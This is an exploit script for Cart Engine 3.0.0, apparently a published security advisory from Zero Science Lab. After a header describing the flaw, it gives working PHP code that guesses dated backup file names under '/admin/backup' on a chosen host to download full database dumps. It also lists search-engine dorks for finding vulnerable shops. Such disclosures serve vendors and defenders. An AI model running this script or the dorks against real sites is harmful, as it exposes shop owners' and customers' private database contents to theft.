Cart Engine 3.0.0 Database Backup Disclosure

`<?php  
  
/*  
  
Cart Engine 3.0.0 Database Backup Disclosure Exploit  
  
  
Vendor: C97net  
Product web page: http://www.c97.net  
Affected version: 3.0.0  
  
Summary: Open your own online shop today with Cart Engine! The  
small, yet powerful and don't forget, FREE shopping cart based  
on PHP & MySQL. Unique features of Cart Engine include: CMS engine  
based on our qEngine, product options, custom fields, digital  
products, search engine friendly URL, user friendly administration  
control panel, easy to use custom fields, module expandable, sub  
products, unsurpassed flexibility...and more!  
  
Desc: Cart Engine stores database backups using the Backup DB tool  
with a predictable file name inside the '/admin/backup' directory  
as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which  
can be exploited to disclose sensitive information by downloading  
the file. The '/admin/backup' is also vulnerable to directory listing  
by default.  
  
  
Tested on: Apache/2.4.7 (Win32)  
PHP/5.5.6  
MySQL 5.6.14  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2014-5180  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5180.php  
  
  
Dork #1: intitle:powered by c97.net  
Dork #2: intitle:powered by qEngine  
Dork #3: intitle:powered by Kemana.c97.net  
Dork #4: intitle:powered by Cart2.c97.net  
  
  
  
07.03.2014  
  
*/  
  
  
error_reporting(0);  
  
function status($done, $total, $size=20)  
{  
static $start_time;  
if($done > $total) return;  
if(empty($start_time)) $start_time=time();  
  
$now = time();  
$perc=(double)($done/$total);  
$bar=floor($perc*$size);  
  
$disp=number_format($perc*100, 0);  
  
$status_bar="\r $disp% [";  
$status_bar.=str_repeat("=", $bar);  
if($bar<$size)  
{  
$status_bar.=">";  
$status_bar.=str_repeat(" ", $size-$bar);  
} else  
{  
$status_bar.="=";  
}  
  
$status_bar.="] $done/$total";  
  
$rate = ($now-$start_time)/$done;  
$left = $total - $done;  
$eta = round($rate * $left, 2);  
$elapsed = $now - $start_time;  
  
$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";  
  
echo "$status_bar ";  
flush();  
  
if($done == $total)  
{  
echo "\n";  
}  
}  
  
print "  
@---------------------------------------------------------------@  
| |  
| Cart Engine 3.0.0 Database Backup Disclosure Exploit |  
| |  
| |  
| Copyleft (c) 2014, Zero Science Lab |  
| |  
| Advisory ID: ZSL-2014-5180 |  
| www.zeroscience.mk |  
| |  
@---------------------------------------------------------------@  
";  
  
if ($argc < 4)  
{  
print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";  
print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";  
die();  
}  
  
$godina_array = array('2014','2013','2012','2011','2010');  
  
$mesec_array = array('12','11','10','09',  
'08','07','06','05',  
'04','03','02','01');  
  
$dn_array = array('31','30','29','28','27','26',  
'25','24','23','22','21','20',  
'19','18','17','16','15','14',  
'13','12','11','10','09','08',  
'07','06','05','04','03','02',  
'01');  
  
$host = $argv[1];  
$port = intval($argv[2]);  
$path = $argv[3];  
$dbnm = "Full%20Backup%20";  
  
$alert1 = "\033[1;31m";  
$alert2 = "\033[0;37m";  
$alert3 = "\033[1;32m";  
  
echo "\n [*] Running checks:\n\n";  
  
foreach($godina_array as $godina)  
{  
foreach($mesec_array as $mesec)  
{  
$x++;  
status($x, 58);  
foreach($dn_array as $dn)  
{  
$ext=".gz";  
if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))  
{  
echo "\n";  
echo $alert1;  
print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";  
echo $alert2;  
print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";  
print " Full URL:\x20";  
echo $alert3;  
die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");  
}  
$ext=".sql";  
if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))  
{  
echo "\n";  
echo $alert1;  
print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";  
echo $alert2;  
print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";  
print " Full URL:\x20";  
echo $alert3;  
die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");  
}  
}  
}  
}  
  
print "\n\n [*] Zero findings!\n\n\n";  
  
?>  
`